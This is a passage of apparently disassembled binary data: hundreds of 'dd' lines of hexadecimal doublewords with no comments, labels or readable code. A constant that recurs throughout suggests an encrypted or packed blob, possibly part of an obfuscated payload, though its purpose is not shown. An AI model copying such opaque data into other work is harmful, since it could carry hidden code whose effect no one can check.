		dd 0BAC9994Ch, 35B9FC83h, 0BE1AFF35h, 6DBCA36h,	42A25C89h
		dd 22B9FC81h, 0FAB9A877h, 8652BF34h, 51C632E2h,	35BA0F6Ah
		dd 0A63AF881h, 0FB56354Eh, 0FBD5BA9Bh, 97A870E0h, 94211F6Bh
		dd 441BB434h, 35BA1004h, 35C8E581h, 99CCFC81h, 7F123296h
		dd 2F2F0A4Fh, 96BED967h, 5F109A0Ch, 0B6B3045Ah,	72C620C5h
		dd 0B6E2FEA1h, 43C620C5h, 3609F7B2h, 0B6C620DDh, 43C620EDh
		dd 0B609F7B2h, 72C620EDh, 95E2FEA1h, 35D18B90h,	46A1FC81h
		dd 0A0B9FC81h, 5C7E3450h, 0AC3ACE8Ah, 27AD42F5h, 0A6BCDC8h
		dd 1EB65DDDh, 35BA0283h, 59EEFC7Dh, 397E7FE0h, 35C38B90h
		dd 0C019FC81h, 71B1B551h, 0FC1B1ECDh, 6DE9E06h,	35B9FD89h
		dd 453E0B81h, 1EB9FC81h, 35B9FC8Dh, 1F4FA5D3h, 9F607D1Dh
		dd 0C0D400C0h, 0BE11209Dh, 39817E68h, 0B6B9FC81h, 35BA0148h
		dd 59F68381h, 35CDE5DDh, 6048FC81h, 0A729E01Ch,	0F3568D5Ch
		dd 65FD2D26h, 7B931C92h, 59EEFC4Fh, 397E7DDAh, 95B9FC81h
		dd 35BA086Ah, 4912CC81h, 299EDF5Ch, 0EEBB6DEEh,	96D3CC01h
		dd 93DE3180h, 35BEC102h, 0C3C8FC81h, 35B9FC8Ch,	35BA036Ah
		dd 303E0081h, 86B84451h, 0F63B55D5h, 35B9FC85h,	0BCBEBE04h
		dd 1E16208Dh, 35B9FC93h, 0EB874C00h, 7A8965D8h,	0CE942A12h
		dd 4BAF0348h, 7FA3F5CEh, 1EB9FC57h, 35B9FC8Eh, 626EF8E2h
		dd 3D370300h, 0AA24F0BBh, 64F3BA04h, 44BB0452h,	35BF1505h
		dd 3A410B81h, 95B9FC81h, 96B6D132h, 510B99ACh, 1EB30452h
		dd 35B9FC96h, 0FB23E91Bh, 7969F98Eh, 0E4C54BAEh, 0A83EB943h
		dd 0ACA707Bh, 4D838A0Dh, 0BBC90452h, 35B9FC88h,	2874B4E1h
		dd 0B61B12B4h, 1035D26Ah, 37B7DA1h, 361F47C3h, 3A37E5Ah
		dd 0B61F47C3h, 1035D242h, 33455CA1h, 59FBAE8h, 0F27751E3h
		dd 2CC8F1C6h, 0C89F7E57h, 0B602AD81h, 8380776Eh, 92A2FDB7h
		dd 1E3BF5AAh, 3E6B360Ah, 35BA0D6Ah, 6DCCD381h, 1522435Ch
		dd 420F1E82h, 731BC58Bh, 0F31051C2h, 35B9FC86h,	5E18F20Ah
		dd 86B35A6Ah, 2B8E236h,	2A3ACA80h, 0B587FB12h, 0EB0C7146h
		dd 0A1A87CA0h, 2B3AD377h, 3AB07CC8h, 0BD14F1B1h, 0DFB65669h
		dd 51224D79h, 0BEB9FCA0h, 8E12208Dh, 35BB8690h,	0E0B2FC81h
		dd 35C68590h, 0F419FC81h
		dd 0A2B2EFD8h, 0F6847DE7h, 890F5E6Ah, 397F7DDEh, 0B8B9FC81h
		dd 61410146h, 311A58A5h, 8580F341h, 69B95DBAh, 0F93D57A5h
		dd 0C0B2F185h, 0BE0D208Dh, 397D7E64h, 0B6B9FC81h, 35BA0144h
		dd 59D68381h, 41410BDDh, 44B9FC81h, 35BA030Bh, 353B0B81h
		dd 34B9FC81h, 0B61820B6h, 35BA0145h, 3EA35C81h,	3EB9FC81h
		dd 0A126FCD2h, 3AEF9599h, 9600E301h, 351DD2E9h,	59F68581h
		dd 0FC3BE40Ah, 35B9FC85h, 0BCBEC404h, 2A1620BDh, 3491916Bh
		dd 0BA81F681h, 3C9326D7h, 35B9FC83h, 35BA0D6Ah,	7295A181h
		dd 12692953h, 0E54469Eh, 6585389Ah, 613B530Ah, 2DEDB5A5h
		dd 59D687E1h, 0B6BEC104h, 2DEDB644h, 363E0BE1h,	2AB9FC81h
		dd 35D58691h, 0C0C8FC81h, 35B9FC96h, 35BA0D6Ah,	1728EE81h
		dd 0FE85403Bh, 19436C41h, 0E429B297h, 43700BA7h, 35C97E90h
		dd 3FA2FC81h, 0D8B9FC81h, 7B5AD299h, 14EACD98h,	0B5B37D0Eh
		dd 350A7F90h, 0E819FC81h, 203B5E43h, 0A66D73C2h, 46F9C002h
		dd 0BB5ED8h, 46F9E803h,	0F83B5ED8h, 0A66D73C1h,	0B68D87E1h
		dd 0DD12AA73h, 870D5DC4h, 0BCFC56DCh, 35C3E654h, 55B6FC81h
		dd 0BE549696h, 1E3EFCFAh, 35B9FD28h, 1E8D86E1h,	35B9FC87h
		dd 0CA6D42B5h, 87205E7Dh, 26E2FC37h, 59CE87E8h,	35BCC102h
		dd 40A2FC81h, 45B9FC81h, 4AC5E98Fh, 80495B54h, 6B1C3D5h
		dd 44BBBE05h, 35BA080Fh, 35C0E581h, 9F8AFC81h, 0A74A1h
		dd 0B59487E2h, 8B1B9E63h, 7AE2D63Fh, 0DBB07D8Ch, 6100D9Eh
		dd 0B698F468h, 5B0D9D4Fh, 92B07D8Ch, 56097458h,	3AA35B72h
		dd 0DDB9FC81h, 1358F7D6h, 7DF0C003h, 0F83B74C8h, 0ACA10A33h
		dd 203BC7AAh, 0ACA10A34h, 7DF0E802h, 0BFC974C8h, 35B9FC93h
		dd 35BA0A6Ah, 0E794B881h, 0BF1998C0h, 3AA49473h, 0BA458227h
		dd 3C8B18D2h, 35BA096Ah, 84CA2981h, 7BF62255h, 0B6CD308Ch
		dd 0A64F8796h, 1EC1CDA5h, 35B9FC90h, 960F54h, 9076912h
		dd 5037A7A5h, 13A3E520h, 95B9FC7Ch, 1EBFF301h, 35B9FC94h
		dd 8E396325h, 21CBC11Ah, 332B9030h, 53A9221h, 0FC1B5E54h
		dd 0EE45306h, 35B9FE89h, 0BCC9F581h, 35B9FC88h,	35BB7F90h
		dd 8BB5FC81h, 0B6DE190Ch, 35BA0145h, 33B5C81h, 93E0B136h
		dd 0AFAD7DE7h, 0EBC95DB0h, 4B3C0B8Fh, 44B9FC81h, 35BA0D09h
		dd 35C5E581h, 2B8FFC81h, 7AE57E53h, 0D9D13FA6h,	0B5B37D71h
		dd 352A7F90h, 3FA2FC81h, 4FB9FC81h, 5488693Ch, 88D37C95h
		dd 2B79538Eh, 36E5E184h, 0BB5C7Ch, 37B0E803h, 1E1A2866h
		dd 35B9FC8Ch, 99344FB1h, 96B71393h, 3DA375ABh, 0A1B9FC81h
		dd 77D79C77h, 96117B85h, 35BA036Ah, 82B95F81h, 8702A036h
		dd 34B9FC3Bh, 8F8D2681h, 35BA046Ah, 0F278A81h, 20A7EADBh
		dd 35BA836Bh, 0B6205C81h, 0B6D7585Ch, 5FB94970h, 0E80D5DFEh
		dd 0C0932580h, 0F93D209Dh, 35C6E585h, 2AA3FC81h, 0A8ABE8C4h
		dd 0C0C27152h, 0EF0C6378h, 35B9FC81h, 4628E702h, 0FFE309E5h
		dd 4628BF02h, 64109E5h,	35CBE5DCh, 4A77FC81h, 297D9209h
		dd 0E1ED43Fh, 682AC174h, 0B84AABCAh, 3943016Dh,	35B9B4A5h
		dd 0F6DAFC81h, 0F83BF1D9h, 5D4A691Ch, 576FE802h, 0E2FD53h
		dd 576FC003h, 203AFD53h, 5D4A691Dh, 35BB8490h, 0C0B1FC81h
		dd 6D64E06h, 0CA45F489h, 3C8B20F2h, 35BA116Ah, 84F9D781h
		dd 67839A0Eh, 0F6C741Fh, 0C3F5684Ah, 0C9E73015h, 0F23DF669h
		dd 3C8B2BBAh, 663E0B82h, 95B9FC78h, 0B6209936h,	96B6ED4Ah
		dd 0B7C9D4BCh, 35B9FCC6h, 35D28590h, 48A2FC81h,	3AB9FC81h
		dd 0B0A4F183h, 3D9685F8h, 0B25AAF84h, 2E73D533h, 8F38003h
		dd 223E8291h, 48A3FC81h, 58B9FC81h, 0D071D256h,	0C04D6520h
		dd 0BCAEF991h, 78728493h, 0C3C94C79h, 35B9FC82h, 36734E7Ah
		dd 5EB9FC81h, 1E1A564Fh, 35B9FC94h, 0BD29561Eh,	0F4586750h
		dd 63474367h, 9C2AD4D4h, 0BDC97E4Bh, 35B9FC81h,	414552E2h
		dd 397E7DA5h, 2DB9FC81h, 5764E603h, 2EE33915h, 91B8B7D5h
		dd 8B17203h, 0B6C2E043h, 4398536Ch, 9092FDC2h, 39A67E7Ah
		dd 0BEB9FC81h, 3A7720ADh, 5EB9FC81h, 0E5B35A6Ah, 6992F2ACh
		dd 5423146h, 2B62016Ah,	6982FB52h, 412A20C2h, 443300F1h
		dd 35B9FE0Ch, 1E64F581h, 35B9FC94h, 0DA3476E2h,	0B702D135h
		dd 0C997F429h, 8272D99h, 0FDEBB658h, 0FDEBBDB2h, 35C28790h
		dd 0BEC8FC81h, 35B9FC83h, 1E655DE1h, 35B9FC8Ch,	626B55E8h
		dd 0DEB5BAFBh, 3FA3E8ADh, 0EB9FC81h, 861476C3h,	9932B34h
		dd 8FDE661h, 47A3FC81h,	0DCB9FC81h, 2ABDC71Ah, 6ACEAEE3h
		dd 0CCF25A93h, 0C18E5511h, 0EE0B4F45h, 35B9FC81h, 3613C70Ah
		dd 8FBC8773h, 35BA116Ah, 9FF3C681h, 45764AD9h, 74EE0405h
		dd 6B5D386Fh, 0F6DA660Fh, 44A2390Dh, 35BA3D05h,	35C3E581h
		dd 0AD08FC81h, 0D75D044Ah, 9D419F36h, 35B9FC81h, 0B8DE010Ch
		dd 42A30145h, 12B9FC81h, 37649F91h, 825A5FF5h, 54476DC1h
		dd 35BB7D6Ah, 3F450B81h, 1EB9FC81h, 35B9FC87h, 0E5A2BF1h
		dd 15434D48h, 35BA0087h, 39A27F81h, 91DE0108h, 95DE190Ah
		dd 35BA0D6Ah, 0F0D74A81h, 5A82EFAh, 0DBDBC492h,	0E54FCC3Ah
		dd 0BE0F5D86h, 0C0A58676h, 0F93D20ADh, 53420B85h, 95B9FC81h
		dd 49A254D4h, 0CAB9FC81h, 0D58C65C1h, 0E68A31A3h, 0A2A44B87h
		dd 935F813Fh, 9000C62Ah, 36224DE2h, 8EB9FC81h, 4EBDED82h
		dd 35CEE5DAh, 0FCD9FC81h, 0A5D53CD8h, 190D76C1h, 2C77D089h
		dd 7717015Ah, 2D22BD45h, 0BEB9FCE5h, 3A7720ADh,	36B9FC81h
		dd 441A5A6Ch, 35BA020Dh, 143B6281h, 0ECC92D08h,	5E6A5E5Bh
		dd 0EFDDFD85h, 0F4BEC57Fh, 35C68690h, 3CA2FC81h, 7EB9FC81h
		dd 3BB8C289h, 1E640E4Fh, 35B9FC94h, 597797CEh, 427B7FB8h
		dd 3278213Fh, 3519EF44h, 203B2FECh, 73976EC3h, 5D70E802h
		dd 30E342AEh, 5D70C003h, 0F83B42AEh, 73976EC2h,	35BB8590h
		dd 8CB2FC81h, 35BA0140h, 0C0B52581h, 0F93B20BDh, 35B9FC85h
		dd 35BB7D90h, 66B2FC81h, 667D2E59h, 35CCE659h, 7B9BFC81h
		dd 0B5947742h, 84479E30h, 7BA93CECh, 0D55E03F5h, 0C0AFA87Ah
		dd 0BE0B209Dh, 397B7E62h, 0B8B9FC81h, 41410142h, 0C3C958A5h
		dd 35B9FC82h, 39A67E79h, 0BEB9FC81h, 3A73208Dh,	36B9FC81h
		dd 88B6564Fh, 35B9FE3Ch, 0C0928581h, 0F93B209Dh, 35B9FC85h
		dd 13B07DE1h, 2A0CA8A2h, 0BBC9BFE3h, 35B9FC82h,	8BDF657Dh
		dd 4142FC81h, 0B51AF8A5h, 0F3206548h, 9B1B4DBBh, 8D203380h
		dd 35BA0C6Ah, 0C1A5A81h, 7EC96033h, 0AB2EE3E4h,	0DD73F5C2h
		dd 0B9C9BFBDh, 35B9FD8Bh, 0F4204CE1h, 0C012B0D1h, 0F65E52h
		dd 35B28091h, 0B519FC81h, 711BF949h, 513E0C43h,	2AB9FC82h
		dd 0B9C9C6BEh, 35B9FD94h, 34F76376h, 693E0BA7h,	44B9FC82h
		dd 35B9FE01h, 7220F181h, 0BAC9FBAFh, 35B9FCD0h,	35BA0A6Ah
		dd 964E4081h, 0D995A2A4h, 0B9976B5h, 8422EEEFh,	0BEB9FC9Dh
		dd 3775209Dh, 36B9FC81h, 90BD8774h, 35BB7C90h, 88B2FC81h
		dd 2DDAED38h, 0B6DE190Dh, 35BA0145h, 35C2E581h,	9A12FC81h
		dd 3910C209h, 0D5F6A0C4h, 36C48090h, 0C0B1FC81h, 0BE0B208Dh
		dd 397B7E62h, 0B8B9FC81h, 41410142h, 0C1C958A5h, 35B9FC90h
		dd 35BA076Ah, 7E921E81h, 6A62CCD7h, 86EB53CFh, 3B2DB63Ah
		dd 0A87364CCh, 5E124787h, 1D1A5649h, 35B9FC89h,	0A7A30B55h
		dd 0B556AC06h, 4414956Dh, 1E1BF638h, 35B9FDAFh,	35C5E4E1h
		dd 0ED74FC81h, 746CD73Dh
		dd 27445C1Dh, 941B5D19h, 35C58B90h, 3BA2FC81h, 40B9FC81h
		dd 0E8F5DA8Ah, 0FEEB5E79h, 35BA026Ah, 0C2E10481h, 0ED0ACB86h
		dd 48AD4BD9h, 7BE7CD78h, 3A1AE4BBh, 0A995861Fh,	1E12BDAAh
		dd 35B9FC87h, 0EF1FDF9Ah, 3527E61Eh, 8AB2FC81h,	35BA003Eh
		dd 393B5181h, 2B05BFA5h, 1E3B5598h, 4BB04845h, 85A3F8DEh
		dd 1EB9FC81h, 35B9FC8Dh, 0B70FE5ECh, 0FD368B74h, 9D7960EEh
		dd 35B9FC87h, 0B8DE090Ch, 0B9C90145h, 35B9FC82h, 35E3E67Ah
		dd 0C4C8FC81h, 35B9FC99h, 35CC8690h, 42A2FC81h,	2BB9FC81h
		dd 2CEF4025h, 8A04F662h, 21C038E6h, 35C164D7h, 0BE16FC81h
		dd 28B25A6Ah, 0B6205D26h, 0F3A53B54h, 0AE7D5433h, 0A64787E2h
		dd 44C1CDA5h, 35B9FE02h, 0FE3FF881h, 35DA8190h,	41A2FC81h
		dd 0EDB9FC81h, 641A02C9h, 8B5B4D1h, 0BEA879A6h,	6DE6E36h
		dd 236D5C89h, 0A444703Ah, 69B95DD6h, 0F93D55A5h, 0EF0CF885h
		dd 35B9FC82h, 0BE9185D8h, 1E145C79h, 35B9FC8Fh,	273D4EC1h
		dd 3A002B38h, 0F0F9244Bh, 49A3BFD4h, 26B9FC81h,	0A605974Eh
		dd 54A817A7h, 0F6CE2AF5h, 0E0A54F39h, 9B065826h, 0B6203380h
		dd 6EFD20B5h, 59BE87E7h, 35BCC102h, 6A1FFC81h, 0B6C935C4h
		dd 35B9FC82h, 447D3979h, 35BBCC05h, 0B9C95C81h,	35B9FC84h
		dd 0B58AB390h, 2A1B8759h, 35D3A5EAh, 59CE8581h,	2842C309h
		dd 496C5CDCh, 35BA0A6Ah, 411E881h, 438B49E5h, 1E67D91Dh
		dd 2D1B3699h, 55AAB2D4h, 59CE8874h, 2ABEC104h, 35C28191h
		dd 2E19FC81h, 371E383Bh, 303A5DE3h, 333E0BF2h, 44B9FC85h
		dd 35BA070Fh, 35BFE581h, 72C7FC81h, 7154E4A8h, 963E0C6Ah
		dd 31B9FC82h, 35BA116Bh, 0CB854681h, 2A04159Ah,	0ED54424h
		dd 1F8179C1h, 9BBC1897h, 44A538BEh, 35BB3C05h, 35C6E581h
		dd 0CB28FC81h, 408D2C96h, 9A828084h, 0F7F6CCB2h, 36E08090h
		dd 4419FC81h, 35B9FD04h, 0F65D81h, 36D08091h, 0BFC8FC81h
		dd 35B9FC82h, 3CA35D76h, 30B9FC81h, 0E8F3C1EFh,	0F320D177h
		dd 9B1B8F26h, 44DFFBBEh, 35BAF005h, 0B7C9F881h,	35B9FC82h
		dd 4484397Dh, 35BAE005h, 3C400B81h, 44B9FC81h, 35B9FE0Ch
		dd 18F6F881h, 380D8091h, 9BB1FC81h, 44B92ABEh, 35BA6E06h
		dd 213DF481h, 59D68586h, 35B9FF3Ch, 0BFACFD81h,	44A35784h
		dd 91B9FC81h, 945B8DF2h, 6219F1BAh, 8B66C689h, 0EA0BEF9Eh
		dd 0A57F7D00h, 336DF201h, 0C1877D4Fh, 466C4EE7h, 8F20D181h
		dd 1E13E4A1h, 35B9FC95h, 0C19DBFAh, 0AB204A18h,	0D733C794h
		dd 2A1895A4h, 1E91B5E0h, 35B9FC8Fh, 2FA46764h, 26008EE6h
		dd 8F95A907h, 445A3949h, 35BA5005h, 9372F181h, 8CC432AFh
		dd 35163D40h, 94B21DF0h, 83EDDD86h, 6A9ACDE4h, 9757FE2Bh
		dd 373BE4B6h, 0E61A5D39h, 6710C57h, 35C0E5E3h, 8203FC81h
		dd 0C7EAEAD3h, 3540E5E2h, 0C0C8FC81h, 35B9FC95h, 35C2E5E1h
		dd 38C4FC81h, 661FC505h, 0B078FA51h, 96C1279Bh,	592BB20Ah
		dd 0C1C90452h, 35B9FC88h, 35BB8B90h, 1EB1FC81h,	35B9FC93h
		dd 7D92378Eh, 744DF8A7h, 2E7599F8h, 0E9A653E5h,	78578A5Eh
		dd 31C1D45Eh, 35C38291h, 9B19FC81h, 9BC02F3Ch, 341BCC0Ch
		dd 35C0E655h, 78C9FC81h, 0E726DC51h, 0AC98B6D3h, 0F73B39CCh
		dd 688566BFh, 3B9CBDC3h, 73A47DCBh, 0BEFFB508h,	59CE8851h
		dd 2EBEC104h, 0BE10F945h, 39807E67h, 0B8B9FC81h, 6941016Fh
		dd 394358A5h, 3C430BA5h, 95B9FC81h, 8C41B7E7h, 8B225E76h
		dd 0BEB9FCC7h, 4575209Dh, 36B9FC81h, 90BD8874h,	323F867Dh
		dd 44C1CD91h, 35B9FE08h, 3945F481h, 18434FA5h, 35BEC003h
		dd 0F83CFC81h, 59D68385h, 493A0BDDh, 44B9FC81h,	35BA0B10h
		dd 35C3E581h, 7ED6FC81h, 0E55B8562h, 87CAE332h,	5D1564D8h
		dd 2C191C67h, 38A9BE61h, 75BCE402h, 2C3B628Ch, 39BCFC9Eh
		dd 3619F70Ah, 0EE1A5757h, 49BB794Ch, 35C08990h,	0BEC8FC81h
		dd 35B9FC81h, 967789E2h, 1EC1CD91h, 35B9FC87h, 8565550Eh
		dd 47A3AA25h, 3FB9FC81h, 0DAD7655Ah, 2D5B3C9Eh,	10366B8Fh
		dd 554C030Ch, 0F744F51h, 363206C3h, 79BD5751h, 0FE720A5h
		dd 953206C3h, 3DA35D32h, 13B9FC81h, 4E53E0DFh, 9664804Bh
		dd 3C430C2Ch, 44B9FC81h, 35B9FE01h, 0F247F181h,	3C8B227Ah
		dd 35BA0D6Ah, 56589081h, 0C5B961Dh, 37BFDFAh, 79F0A617h
		dd 0C01AA9BBh, 37430C48h, 95B9FC81h, 9ABF5DE2h,	382B50CAh
		dd 88DE20C5h, 88BC563Ch, 2C8DF38Bh, 23AD7E5Dh, 0B601BF93h
		dd 61F53364h, 9A7D7D9Fh, 0B62CDDCCh, 0A7A4C944h, 90922673h
		dd 0B0756576h, 3942FC81h, 0FA3A5CA5h, 0F4204C9Eh, 9619F739h
		dd 35C0E5E1h, 0C12AFC81h, 0BEAB7EF4h, 0F41AA7E2h, 7EBF7AE7h
		dd 96E2D101h, 4857BA0Eh, 0BEC90452h, 35B9FC8Bh,	35BA026Ah
		dd 6C2FA481h, 4467A26Bh, 35BA0705h, 0CA705C81h,	35BA7D90h
		dd 881AFC81h, 16CE163Ch, 9091FD8Dh, 5DDE4084h, 16CE15AEh
		dd 35C6E58Dh, 780CFC81h, 0F09BD6E6h, 32AA28AEh,	45A32A96h
		dd 0A5B9FC81h, 0B3976E71h, 40D8391Eh, 0FD603AEDh, 0E07A0068h
		dd 59EEFC7Dh, 397E7DDFh, 1EB9FC81h, 35B9FC8Dh, 296705A9h
		dd 0B40034F9h, 0F8D96AFAh, 6AA97DE1h, 1E2157C2h, 35B9FC95h
		dd 5FC8F444h, 2C5BB5F1h, 7E831EAEh, 0F5D63056h,	96CF95B9h
		dd 49CA657Ah, 6942FC81h, 363A0BA5h, 31B9FC81h, 11379A0Fh
		dd 34B30459h, 0C01A5D55h, 35C8E658h, 4E41FC81h,	0AD393C4Ch
		dd 0C475179Ah, 0DEDB51EFh, 1E1BF4E2h, 34B9F974h, 35BA046Bh
		dd 6757C881h, 800FB48Bh, 35BA0A6Ah, 58A29281h, 4F25D660h
		dd 0B53E7862h, 0F23D76AAh, 3C93260Bh, 7B3E0B81h, 44B9FC81h
		dd 35BA250Ah, 47A35C81h, 0ABB9FC81h, 61C2FBB9h,	0CB9C09BEh
		dd 0E1762723h, 83FD62C1h, 35C3E536h, 0EFA8FC81h, 57711360h
		dd 93BCFC73h, 8D3F89E2h, 31C1D461h, 3FA3CD81h, 3B9FC81h
		dd 0C6E71A88h, 0FD671246h, 0B5BA6535h, 9519FC81h, 35BA7C90h
		dd 961AFC81h, 817962E1h, 526D5D67h, 35245DE2h, 35BA056Ah
		dd 2C2EF281h, 7718590Bh, 0FE6FFC08h, 95C1CD99h,	35CB8090h
		dd 41A2FC81h, 0E2B9FC81h, 3EF2533h, 0C6E71A88h,	0E9671246h
		dd 34B65E5Ah, 6EC5617h,	0B8C9F189h, 35B9FC88h, 35BB8390h
		dd 9DB5FC81h, 35BA7C81h, 35C18090h, 4419FC81h, 961AC840h
		dd 3D3E0BE2h, 44B9FC81h, 35B9FF0Fh, 9F1B5C81h, 95B65C81h
		dd 44B187E7h, 35B9FD03h, 341B5D81h, 6D16E37h, 0CAB9F889h
		dd 3C8B2EDAh, 35BA066Ah, 8F29F781h, 0F8F85035h,	35222098h
		dd 44B9FD01h, 35BA0505h, 6B705C81h, 0AF44B6E7h,	44BA66E2h
		dd 35BA1410h, 35CCE581h, 760CFC81h, 434C0ADh, 87B3154Eh
		dd 6C84F263h, 68FF1DDAh, 35BA026Ah, 1A79AF81h, 0EAB9E511h
		dd 3C8B24D6h, 8E4FFC7Dh, 2DC1CDB3h, 48A4BA0Fh, 0C2B2045Ah
		dd 0ED37A0Eh, 0C2C95C89h, 35B9FC86h, 7D947DE7h,	427D7CD9h
		dd 0B7CFB4E2h, 85B6F1CAh, 5331B439h, 8D7B25DCh,	0F63BF5AAh
		dd 90D87438h, 0BF77807Ah, 35C1D5AAh, 35518090h,	3CE9FC81h
		dd 7E01C551h, 0F247F4F6h, 3C93AEF5h, 4D65B20Eh,	0C247045Ah
		dd 3C93B09Eh, 1E3DCBACh, 0C05EEF87h, 62778A4Ch,	0C2C1D43Fh
		dd 0DCAEC0Eh, 8B74B489h, 4E5ADB3h, 66BCE643h, 0B882CC88h
		dd 0AA030148h, 54778A77h, 0C2C1D635h, 0DC77736h, 8D478989h
		dd 60C1D635h, 3AA38050h, 0F247A174h, 3C930015h,	3FBF8A0Eh
		dd 0F172045Ah, 602FF9FBh
		dd 37A3BE50h, 0FD8A03B2h, 7EBEC404h, 0F247F2F6h, 3C93B0D9h
		dd 3AE2B20Eh, 0C247045Ah, 3C93B112h, 1E3DCBACh,	0C05EEF87h
		dd 8F778A5Ch, 0C2C1D5ABh, 0E6C710Eh, 9BFEB489h,	4E52E96h
		dd 66BCE643h, 0B882CC88h, 0AA030148h, 36460C77h, 31B9FC81h
		dd 39A6807Eh, 0B6DE010Ah, 9B272085h, 621210FBh,	493462EEh
		dd 0F23DF67Ah, 3C8B3086h, 0B8C37181h, 6E2463Eh,	4E2DFC89h
		dd 0F5454FD1h, 35BE0E39h, 463F8581h, 0C2C1CDA1h, 89C141Eh
		dd 908DFB89h, 7E777FD9h, 35C1CDA9h, 880A13F5h, 35BE0E39h
		dd 463F8581h, 0C2C1CDA1h, 898B51Eh, 908DFB89h, 0C3C95CD9h
		dd 35B9FC85h, 0B5A8B6E7h, 35BA066Ah, 1D22DA81h,	3BA2A017h
		dd 951BC481h, 0BA64383Fh, 0C8B8B5EEh, 2D1B2025h, 59EE7DD2h
		dd 0A4B443C5h, 79754FD9h, 6629F6C8h, 0C01A5859h, 968F8754h
		dd 35CDE579h, 0BB27FC81h, 5386B26Dh, 1FE1CBDCh,	26A63F77h
		dd 3D2ECDF5h, 0BDC9580Ch, 35B9FC85h, 0A12DB5E7h, 9423C002h
		dd 42A1FC81h, 0C4B9FC81h, 0EEB92B96h, 0FAFE8387h, 0AAC6E1ABh
		dd 0CB21CB02h, 601846FDh, 48F68853h, 32B17E7Ah,	0B5C6B0EDh
		dd 0FC3B7476h, 5A15059Ah, 2C3B55D8h, 460A4F38h,	35BA0F69h
		dd 0AAF82981h, 0D333CBEEh, 6B8CEBCDh, 87D0ECC0h, 1D219E0Ah
		dd 35B9FC8Ah, 1D68D026h, 92B717EDh, 8E18DF35h, 20A77CD8h
		dd 31CD0111h, 17937DE8h, 38A4803Ah, 9504C70Ch, 35BF8990h
		dd 1878FC81h, 1EE88A31h, 35B9FC8Fh, 7A397EAAh, 61192AC2h
		dd 0B41BD54Bh, 2F3B5DABh, 34B99DDAh, 34398191h,	5173FC81h
		dd 14049A86h, 0E048E03Fh, 6BA167A8h, 95A1495Bh,	0D6E49DA3h
		dd 0B9E6C615h, 0B9F6BEA7h, 95A140A7h, 0D6CAFFA3h, 0E43E40EEh
		dd 32D6785Fh, 95A14C5Bh, 0CB6402A3h, 10BE8DE5h,	0E8A20F3Fh
		dd 0EA47ACA8h, 0EB6C1CC1h, 0B4CDCB68h, 5EA14492h, 95133DA3h
		dd 959BE514h, 5EC13DA3h, 61380164h, 59204987h, 95A94987h
		dd 66DA3DA3h, 77BF3A64h, 44385FA6h, 9A51A807h, 0A4C9CB68h
		dd 95A14492h, 1CD83DA3h, 9A51AD6Fh, 0B4613B50h,	95134492h
		dd 959BE514h, 5EC13DA3h, 61380164h, 59204987h, 95A74987h
		dd 66DA3DA3h, 0DD177564h, 3E74BEC1h, 980DDD39h,	0EB78EABh
		dd 0E8B8F357h, 2A167A8h, 0E8A11B57h, 0EE5A30A8h, 65C17777h
		dd 0EB2DF884h, 71EE2852h, 2C0383F3h, 29E70F5Fh,	0DF8C86D5h
		dd 0ADC2615Dh, 0D345118Eh, 5D3B9047h, 0D1C77358h, 0D839674Fh
		dd 18409B63h, 9E26B214h, 0A9DE96D0h, 85F523B1h,	0FD39483Bh
		dd 0A1D59C4Ah, 361A7D9Bh, 391C00ACh, 0D60B02EEh, 0FB2F7BC0h
		dd 2EC01A3Ch, 38CE5EF8h, 28CD563Eh, 5C1D5778h, 99831BB8h
		dd 67894739h, 1BB81866h, 0A3C2DA03h, 6CBE31B3h,	9980A6E6h
		dd 1670EB3Dh, 2317A03Fh, 0A5670D4Ch, 1617A025h,	2317A4F7h
		dd 0A3135A83h, 8D2558AAh, 0A35ABBCh, 0F546B976h, 0D1690094h
		dd 3F98064Eh, 40A5C6CAh, 0D9A17BC5h, 0D1AC5EE1h, 0CC81708Fh
		dd 21AE2E17h, 0FED31554h, 0F940B749h, 0D09D0941h, 1A95FC95h
		dd 88EC078Ah, 0DA3BF165h, 0A4D552E4h, 92131FBEh, 0EF1A8AD5h
		dd 0A4484AC9h, 0EAF0E03Eh, 3E403C6Ch, 0F72EBA0Dh, 0FAD51800h
		dd 6044D186h, 32B9647Ch, 8C8059EFh, 6715501h, 0E80A3FE2h
		dd 31EF0A0Fh, 0ACAE56A8h, 0C0591357h, 42EC711Ch, 9DB456A8h
		dd 187758ACh, 25930C25h, 1D2EC22Dh, 0B1A9CAD9h,	0AC144BA0h
		dd 330C92A7h, 85D4845Fh, 5E780290h, 0A4D604FAh,	31EF08DEh
		dd 0F6005918h, 31EF0A19h, 4F2D9A86h, 0A910800Fh, 2A33FFE6h
		dd 0FD2CCBD4h, 0E6548B6Ch, 23170CA1h, 0E5DD8E26h, 0DB4A5C74h
		dd 0D81BF02Bh, 31EF957Fh, 5EC64778h, 0F4DF9BE9h, 0DB4BF4AFh
		dd 3A2E872Bh, 0C7C4030Eh, 0C68E1AB6h, 0A96F7BFDh, 7AD1D634h
		dd 0C29C6E34h, 31EF87EDh, 2431C4F2h, 2317A029h,	0B0AF722Fh
		dd 47457C83h, 0A1088837h, 0D4A10899h, 4F18386Fh, 51717507h
		dd 39BEE600h, 0FB604945h, 0D5AFD45Ah, 2887BCE4h, 15A4BBF5h
		dd 0EC35353Dh, 0A3B32039h, 7A954551h, 2928BCE0h, 0BFDE7EB2h
		dd 0F21DD972h, 0E052084Dh, 70F8C66Ah, 0E5DDCA65h, 0DB4A5C74h
		dd 59E0F02Bh, 7A54DCB8h, 52D20017h, 7E9FBA0Dh, 7E59C563h
		dd 7C66669Ch, 0FEC18117h, 0BD23B0F0h, 0A121BD5Bh, 0B601F7EDh
		dd 838EA254h, 0B47E420Ch, 663117A5h, 6B78F732h,	624C5EEFh
		dd 8BA70FEh, 0D3EE038h,	0A4A67483h, 0CA23B13Eh,	3C94C196h
		dd 73A0AFC9h, 246B5620h, 882FF09Eh, 0D5E0CCA2h,	2317A046h
		dd 0B8B7096Eh, 0EE47949Bh, 0C00C84D4h, 0AC0D8F0Dh, 0F6EC715Dh
		dd 0C07BA28Bh, 0C180280Ah, 0AD9EA7C5h, 41195C21h, 5477255Bh
		dd 0F5E6B7EFh, 63E8777Ah, 0DA3E6C04h, 30E1CF7h,	0C8594F8Dh
		dd 8F800E8h, 0F317A026h, 0C17AC91Ch, 0CD05FB90h, 572F257Bh
		dd 0E243BA0Dh, 8565009Dh, 7D4E9036h, 91C96BB1h,	4311E330h
		dd 0CF1C2649h, 0B00EA9CCh, 41004C4Ch, 52847C09h, 155D2F57h
		dd 21AE0524h, 64EC0791h, 386FB15Dh, 85E0CD10h, 2317A027h
		dd 0DFD89DC4h, 0F3EC0784h, 0ACED9710h, 7F8ADC1h, 577F770Ah
